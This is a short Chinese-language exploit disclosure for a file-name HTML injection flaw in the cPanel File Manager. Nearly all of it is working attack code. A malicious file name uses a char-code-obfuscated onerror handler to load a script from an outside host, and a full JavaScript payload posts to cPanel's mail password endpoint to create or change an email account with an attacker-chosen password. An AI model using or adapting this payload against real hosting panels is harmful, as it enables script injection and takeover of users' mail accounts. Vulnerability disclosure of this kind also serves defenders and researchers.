cPanel文件管理器文件名HTML注入漏洞

                                                恶意文件名：

<img src=\'\' onerror=\'document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99, 111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))\'>

该<img>生成以下html标签，以导致浏览器加载并执行外部脚本：

<script src=http://ilmuhacking.com/x.js></script>

PoC负载： 

----------------
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
    http_request.overrideMimeType(\'text/html\');
}
} else if (window.ActiveXObject) { // IE
try {
    http_request = new ActiveXObject(\"Msxml2.XMLHTTP\");
} catch (e) {
    try {
       http_request = new ActiveXObject(\"Microsoft.XMLHTTP\");
    } catch (e) {}
}
}
if (!http_request) {
alert(\'Cannot create XMLHTTP instance\');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open(\'POST\', url, true);
http_request.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");
http_request.setRequestHeader(\"Content-length\", parameters.length);
http_request.setRequestHeader(\"Connection\", \"close\");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
    result = http_request.responseText;
    alert(result);
} else {
    alert(\'There was a problem with the request.\');
}
}
}
var poststr = \"quota=\" + encodeURI(\"250\") + \"&password2=\" + encodeURI(\"newpassword\") \\
                +
        \"&password=\" + encodeURI(\"newpassword\") + \"&email=\" + encodeURI(\"testemail\") +
        \"&domain=\" + encodeURI(\"ilmuhacking.com\");
makePOSTRequest(\'/frontend/x3/mail/dopasswdpop.html\', poststr);